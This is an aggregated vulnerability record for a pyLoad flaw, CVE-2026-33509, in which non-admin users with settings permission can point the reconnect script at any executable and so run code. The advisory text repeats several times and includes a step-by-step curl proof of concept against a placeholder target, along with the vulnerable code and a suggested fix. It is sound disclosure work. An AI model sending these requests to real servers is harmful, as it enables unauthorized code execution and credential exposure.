{"id":"CVE-2026-33509","aliases":["EUVD-2026-20072","GHSA-r7mc-x6x7-cqxx","PYSEC-2026-2996"],"status":"published","title":"pyload-ng: SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration","description":"pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00562,"percentile":0.47066,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-269"],"published":"2026-03-20T21:50:30Z","modified":"2026-10-28T02:31:07Z","affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0"},{"last_affected":"0.5.0b3.dev96"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0"},{"last_affected":"0.5.0b3.dev96"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96"]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0"},{"last_affected":"0.5.0b3.dev96"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96"]}],"products":[{"vendor":"pyload","product":"pyload"},{"vendor":"pyload-ng_project","product":"pyload-ng"}],"references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/pyload/pyload/commit/f5e284fcdfeaf08436bb03e5fcf697aaac659d8b","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33509","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-r7mc-x6x7-cqxx","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33509.json","tags":["advisory"]},{"url":"https://github.com/pyload/pyload","tags":["package"]},{"url":"https://pypi.org/project/pyload-ng","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33509","title":"pyload-ng: SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration","description":"pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97.","status":"published","published":"2026-03-24T18:55:37.033Z","modified":"2026-03-26T19:52:12.902Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-20072","description":"pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97.","status":"published","published":"2026-03-24T18:55:37Z","modified":"2026-03-26T19:52:12Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:27.67679Z"}],"ghsa":[{"id":"GHSA-r7mc-x6x7-cqxx","title":"pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration","description":"## Summary\n\nThe `set_config_value()` API endpoint allows users with the non-admin `SETTINGS` permission to modify any configuration option without restriction. The `reconnect.script` config option controls a file path that is passed directly to `subprocess.run()` in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in `set_config_value()` is a hardcoded check for `general.storage_folder` — all other security-critical settings including `reconnect.script` are writable without any allowlist or path restriction.\n\n## Details\n\nThe vulnerability chain spans two components:\n\n**1. Unrestricted config write — `src/pyload/core/api/__init__.py:210-243`**\n\n```python\n@permission(Perms.SETTINGS)\n@post\ndef set_config_value(self, category: str, option: str, value: Any, section: str = \"core\") -\u003e None:\n    self.pyload.addon_manager.dispatch_event(\n        \"config_changed\", category, option, value, section\n    )\n    if section == \"core\":\n        if category == \"general\" and option == \"storage_folder\":\n            # Forbid setting the download folder inside dangerous locations\n            # ... validation only for storage_folder ...\n            return\n\n        self.pyload.config.set(category, option, value)  # No validation for any other option\n```\n\nThe `Perms.SETTINGS` permission (value 128) is a non-admin permission flag. The only hardcoded validation is for `general.storage_folder`. The `reconnect.script` option is written directly to config with no path validation, allowlist, or sanitization.\n\n**2. Arbitrary script execution — `src/pyload/core/managers/thread_manager.py:157-199`**\n\n```python\ndef try_reconnect(self):\n    if not (\n        self.pyload.config.get(\"reconnect\", \"enabled\")\n        and self.pyload.api.is_time_reconnect()\n    ):\n        return False\n\n    # ... checks if active downloads want reconnect ...\n\n    reconnect_script = self.pyload.config.get(\"reconnect\", \"script\")\n    if not os.path.isfile(reconnect_script):\n        self.pyload.config.set(\"reconnect\", \"enabled\", False)\n        self.pyload.log.warning(self._(\"Reconnect script not found!\"))\n        return\n\n    # ... reconnect logic ...\n\n    try:\n        subprocess.run(reconnect_script)  # Executes attacker-controlled path\n    except Exception:\n        # ...\n```\n\nThe `reconnect_script` value comes directly from config. The only check is `os.path.isfile()` — the file must exist but there is no allowlist, no path restriction, and no signature verification.\n\n**3. Attacker also controls timing via same SETTINGS permission**\n\nThe attacker can set `reconnect.enabled=True`, `reconnect.start_time`, and `reconnect.end_time` through the same `set_config_value()` endpoint to control when execution occurs. `toggle_reconnect()` at line 321 requires only `Perms.STATUS` — an even lower privilege.\n\n**4. Additional privilege escalation via config access**\n\nBeyond RCE, the same unrestricted config write allows SETTINGS users to:\n- Read proxy credentials (`proxy.username`/`proxy.password`) in plaintext via `get_config()`\n- Redirect syslog to an attacker-controlled server (`log.syslog_host`/`log.syslog_port`)\n- Disable SSL (`webui.use_ssl=False`), rebind to `0.0.0.0` (`webui.host`)\n- Modify SSL certificate/key paths to enable MITM\n\n## PoC\n\n**Step 1: Set reconnect script to an attacker-controlled executable**\n\nVia API:\n```bash\n# Authenticate and get session (as user with SETTINGS permission)\ncurl -c cookies.txt -X POST 'http://target:8000/api/login' \\\n  -d 'username=settingsuser\u0026password=pass123'\n\n# Set reconnect script to a known executable on the system\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=script\u0026value=/tmp/exploit.sh\u0026section=core'\n```\n\nVia Web UI:\n```bash\ncurl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \\\n  -d 'reconnect|script=/tmp/exploit.sh\u0026reconnect|enabled=True'\n```\n\n**Step 2: Enable reconnect and set timing window**\n\n```bash\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=enabled\u0026value=True\u0026section=core'\n\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=start_time\u0026value=00:00\u0026section=core'\n\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=end_time\u0026value=23:59\u0026section=core'\n```\n\n**Step 3: Script executes when thread manager calls `try_reconnect()`**\n\nThe thread manager's `run()` method (called repeatedly by the core loop) invokes `try_reconnect()`, which calls `subprocess.run(reconnect_script)` at `thread_manager.py:199`.\n\n**Note on exploitation constraints:** The file at the target path must exist (`os.path.isfile()` check) and be executable. With `shell=False` (subprocess.run default), no arguments are passed. If the attacker also has `ADD` permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.\n\n## Impact\n\n- **Remote Code Execution**: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user\n- **Privilege escalation**: The SETTINGS permission is described as \"can access settings\" — granting it is not expected to grant arbitrary code execution capability\n- **Credential exposure**: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via `get_config()`\n- **Network reconfiguration**: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings\n\n## Recommended Fix\n\nAdd an allowlist or category-level restriction in `set_config_value()` that prevents non-admin users from modifying security-critical options:\n\n```python\n# In set_config_value(), after the storage_folder check:\nADMIN_ONLY_OPTIONS = {\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"use_ssl\"),\n    (\"webui\", \"ssl_cert\"),\n    (\"webui\", \"ssl_key\"),\n    (\"log\", \"syslog_host\"),\n    (\"log\", \"syslog_port\"),\n    (\"proxy\", \"username\"),\n    (\"proxy\", \"password\"),\n}\n\nif section == \"core\" and (category, option) in ADMIN_ONLY_OPTIONS:\n    # Require ADMIN role for security-critical settings\n    if not self.pyload.api.user_data.get(\"role\") == Role.ADMIN:\n        raise PermissionError(f\"Admin role required to modify {category}.{option}\")\n```\n\nAdditionally, consider validating the `reconnect.script` path against an allowlist of directories or requiring admin approval for script path changes.","status":"published","published":"2026-03-20T21:50:30Z","modified":"2026-03-27T21:59:17Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:39:44.97342Z"}],"nvd":[{"id":"CVE-2026-33509","description":"pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97.","status":"published","published":"2026-03-24T20:16:30.053Z","modified":"2026-06-17T10:37:37.5Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33509","title":"pyload-ng: SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration","description":"pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97.","status":"published","published":"2026-03-24T18:55:37.033Z","modified":"2026-10-28T02:31:07.177697499Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-r7mc-x6x7-cqxx","title":"pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration","description":"## Summary\n\nThe `set_config_value()` API endpoint allows users with the non-admin `SETTINGS` permission to modify any configuration option without restriction. The `reconnect.script` config option controls a file path that is passed directly to `subprocess.run()` in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in `set_config_value()` is a hardcoded check for `general.storage_folder` — all other security-critical settings including `reconnect.script` are writable without any allowlist or path restriction.\n\n## Details\n\nThe vulnerability chain spans two components:\n\n**1. Unrestricted config write — `src/pyload/core/api/__init__.py:210-243`**\n\n```python\n@permission(Perms.SETTINGS)\n@post\ndef set_config_value(self, category: str, option: str, value: Any, section: str = \"core\") -\u003e None:\n    self.pyload.addon_manager.dispatch_event(\n        \"config_changed\", category, option, value, section\n    )\n    if section == \"core\":\n        if category == \"general\" and option == \"storage_folder\":\n            # Forbid setting the download folder inside dangerous locations\n            # ... validation only for storage_folder ...\n            return\n\n        self.pyload.config.set(category, option, value)  # No validation for any other option\n```\n\nThe `Perms.SETTINGS` permission (value 128) is a non-admin permission flag. The only hardcoded validation is for `general.storage_folder`. The `reconnect.script` option is written directly to config with no path validation, allowlist, or sanitization.\n\n**2. Arbitrary script execution — `src/pyload/core/managers/thread_manager.py:157-199`**\n\n```python\ndef try_reconnect(self):\n    if not (\n        self.pyload.config.get(\"reconnect\", \"enabled\")\n        and self.pyload.api.is_time_reconnect()\n    ):\n        return False\n\n    # ... checks if active downloads want reconnect ...\n\n    reconnect_script = self.pyload.config.get(\"reconnect\", \"script\")\n    if not os.path.isfile(reconnect_script):\n        self.pyload.config.set(\"reconnect\", \"enabled\", False)\n        self.pyload.log.warning(self._(\"Reconnect script not found!\"))\n        return\n\n    # ... reconnect logic ...\n\n    try:\n        subprocess.run(reconnect_script)  # Executes attacker-controlled path\n    except Exception:\n        # ...\n```\n\nThe `reconnect_script` value comes directly from config. The only check is `os.path.isfile()` — the file must exist but there is no allowlist, no path restriction, and no signature verification.\n\n**3. Attacker also controls timing via same SETTINGS permission**\n\nThe attacker can set `reconnect.enabled=True`, `reconnect.start_time`, and `reconnect.end_time` through the same `set_config_value()` endpoint to control when execution occurs. `toggle_reconnect()` at line 321 requires only `Perms.STATUS` — an even lower privilege.\n\n**4. Additional privilege escalation via config access**\n\nBeyond RCE, the same unrestricted config write allows SETTINGS users to:\n- Read proxy credentials (`proxy.username`/`proxy.password`) in plaintext via `get_config()`\n- Redirect syslog to an attacker-controlled server (`log.syslog_host`/`log.syslog_port`)\n- Disable SSL (`webui.use_ssl=False`), rebind to `0.0.0.0` (`webui.host`)\n- Modify SSL certificate/key paths to enable MITM\n\n## PoC\n\n**Step 1: Set reconnect script to an attacker-controlled executable**\n\nVia API:\n```bash\n# Authenticate and get session (as user with SETTINGS permission)\ncurl -c cookies.txt -X POST 'http://target:8000/api/login' \\\n  -d 'username=settingsuser\u0026password=pass123'\n\n# Set reconnect script to a known executable on the system\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=script\u0026value=/tmp/exploit.sh\u0026section=core'\n```\n\nVia Web UI:\n```bash\ncurl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \\\n  -d 'reconnect|script=/tmp/exploit.sh\u0026reconnect|enabled=True'\n```\n\n**Step 2: Enable reconnect and set timing window**\n\n```bash\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=enabled\u0026value=True\u0026section=core'\n\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=start_time\u0026value=00:00\u0026section=core'\n\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=end_time\u0026value=23:59\u0026section=core'\n```\n\n**Step 3: Script executes when thread manager calls `try_reconnect()`**\n\nThe thread manager's `run()` method (called repeatedly by the core loop) invokes `try_reconnect()`, which calls `subprocess.run(reconnect_script)` at `thread_manager.py:199`.\n\n**Note on exploitation constraints:** The file at the target path must exist (`os.path.isfile()` check) and be executable. With `shell=False` (subprocess.run default), no arguments are passed. If the attacker also has `ADD` permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.\n\n## Impact\n\n- **Remote Code Execution**: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user\n- **Privilege escalation**: The SETTINGS permission is described as \"can access settings\" — granting it is not expected to grant arbitrary code execution capability\n- **Credential exposure**: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via `get_config()`\n- **Network reconfiguration**: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings\n\n## Recommended Fix\n\nAdd an allowlist or category-level restriction in `set_config_value()` that prevents non-admin users from modifying security-critical options:\n\n```python\n# In set_config_value(), after the storage_folder check:\nADMIN_ONLY_OPTIONS = {\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"use_ssl\"),\n    (\"webui\", \"ssl_cert\"),\n    (\"webui\", \"ssl_key\"),\n    (\"log\", \"syslog_host\"),\n    (\"log\", \"syslog_port\"),\n    (\"proxy\", \"username\"),\n    (\"proxy\", \"password\"),\n}\n\nif section == \"core\" and (category, option) in ADMIN_ONLY_OPTIONS:\n    # Require ADMIN role for security-critical settings\n    if not self.pyload.api.user_data.get(\"role\") == Role.ADMIN:\n        raise PermissionError(f\"Admin role required to modify {category}.{option}\")\n```\n\nAdditionally, consider validating the `reconnect.script` path against an allowlist of directories or requiring admin approval for script path changes.","status":"published","published":"2026-03-20T21:50:30Z","modified":"2026-07-13T16:42:43.646337785Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:46:55.480549Z"},{"id":"PYSEC-2026-2996","title":"pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration","description":"## Summary\n\nThe `set_config_value()` API endpoint allows users with the non-admin `SETTINGS` permission to modify any configuration option without restriction. The `reconnect.script` config option controls a file path that is passed directly to `subprocess.run()` in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in `set_config_value()` is a hardcoded check for `general.storage_folder` — all other security-critical settings including `reconnect.script` are writable without any allowlist or path restriction.\n\n## Details\n\nThe vulnerability chain spans two components:\n\n**1. Unrestricted config write — `src/pyload/core/api/__init__.py:210-243`**\n\n```python\n@permission(Perms.SETTINGS)\n@post\ndef set_config_value(self, category: str, option: str, value: Any, section: str = \"core\") -\u003e None:\n    self.pyload.addon_manager.dispatch_event(\n        \"config_changed\", category, option, value, section\n    )\n    if section == \"core\":\n        if category == \"general\" and option == \"storage_folder\":\n            # Forbid setting the download folder inside dangerous locations\n            # ... validation only for storage_folder ...\n            return\n\n        self.pyload.config.set(category, option, value)  # No validation for any other option\n```\n\nThe `Perms.SETTINGS` permission (value 128) is a non-admin permission flag. The only hardcoded validation is for `general.storage_folder`. The `reconnect.script` option is written directly to config with no path validation, allowlist, or sanitization.\n\n**2. Arbitrary script execution — `src/pyload/core/managers/thread_manager.py:157-199`**\n\n```python\ndef try_reconnect(self):\n    if not (\n        self.pyload.config.get(\"reconnect\", \"enabled\")\n        and self.pyload.api.is_time_reconnect()\n    ):\n        return False\n\n    # ... checks if active downloads want reconnect ...\n\n    reconnect_script = self.pyload.config.get(\"reconnect\", \"script\")\n    if not os.path.isfile(reconnect_script):\n        self.pyload.config.set(\"reconnect\", \"enabled\", False)\n        self.pyload.log.warning(self._(\"Reconnect script not found!\"))\n        return\n\n    # ... reconnect logic ...\n\n    try:\n        subprocess.run(reconnect_script)  # Executes attacker-controlled path\n    except Exception:\n        # ...\n```\n\nThe `reconnect_script` value comes directly from config. The only check is `os.path.isfile()` — the file must exist but there is no allowlist, no path restriction, and no signature verification.\n\n**3. Attacker also controls timing via same SETTINGS permission**\n\nThe attacker can set `reconnect.enabled=True`, `reconnect.start_time`, and `reconnect.end_time` through the same `set_config_value()` endpoint to control when execution occurs. `toggle_reconnect()` at line 321 requires only `Perms.STATUS` — an even lower privilege.\n\n**4. Additional privilege escalation via config access**\n\nBeyond RCE, the same unrestricted config write allows SETTINGS users to:\n- Read proxy credentials (`proxy.username`/`proxy.password`) in plaintext via `get_config()`\n- Redirect syslog to an attacker-controlled server (`log.syslog_host`/`log.syslog_port`)\n- Disable SSL (`webui.use_ssl=False`), rebind to `0.0.0.0` (`webui.host`)\n- Modify SSL certificate/key paths to enable MITM\n\n## PoC\n\n**Step 1: Set reconnect script to an attacker-controlled executable**\n\nVia API:\n```bash\n# Authenticate and get session (as user with SETTINGS permission)\ncurl -c cookies.txt -X POST 'http://target:8000/api/login' \\\n  -d 'username=settingsuser\u0026password=pass123'\n\n# Set reconnect script to a known executable on the system\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=script\u0026value=/tmp/exploit.sh\u0026section=core'\n```\n\nVia Web UI:\n```bash\ncurl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \\\n  -d 'reconnect|script=/tmp/exploit.sh\u0026reconnect|enabled=True'\n```\n\n**Step 2: Enable reconnect and set timing window**\n\n```bash\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=enabled\u0026value=True\u0026section=core'\n\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=start_time\u0026value=00:00\u0026section=core'\n\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=end_time\u0026value=23:59\u0026section=core'\n```\n\n**Step 3: Script executes when thread manager calls `try_reconnect()`**\n\nThe thread manager's `run()` method (called repeatedly by the core loop) invokes `try_reconnect()`, which calls `subprocess.run(reconnect_script)` at `thread_manager.py:199`.\n\n**Note on exploitation constraints:** The file at the target path must exist (`os.path.isfile()` check) and be executable. With `shell=False` (subprocess.run default), no arguments are passed. If the attacker also has `ADD` permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.\n\n## Impact\n\n- **Remote Code Execution**: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user\n- **Privilege escalation**: The SETTINGS permission is described as \"can access settings\" — granting it is not expected to grant arbitrary code execution capability\n- **Credential exposure**: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via `get_config()`\n- **Network reconfiguration**: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings\n\n## Recommended Fix\n\nAdd an allowlist or category-level restriction in `set_config_value()` that prevents non-admin users from modifying security-critical options:\n\n```python\n# In set_config_value(), after the storage_folder check:\nADMIN_ONLY_OPTIONS = {\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"use_ssl\"),\n    (\"webui\", \"ssl_cert\"),\n    (\"webui\", \"ssl_key\"),\n    (\"log\", \"syslog_host\"),\n    (\"log\", \"syslog_port\"),\n    (\"proxy\", \"username\"),\n    (\"proxy\", \"password\"),\n}\n\nif section == \"core\" and (category, option) in ADMIN_ONLY_OPTIONS:\n    # Require ADMIN role for security-critical settings\n    if not self.pyload.api.user_data.get(\"role\") == Role.ADMIN:\n        raise PermissionError(f\"Admin role required to modify {category}.{option}\")\n```\n\nAdditionally, consider validating the `reconnect.script` path against an allowlist of directories or requiring admin approval for script path changes.","status":"published","published":"2026-07-13T14:36:44.126156Z","modified":"2026-07-13T16:32:41.273266028Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:56.429374Z"}]}}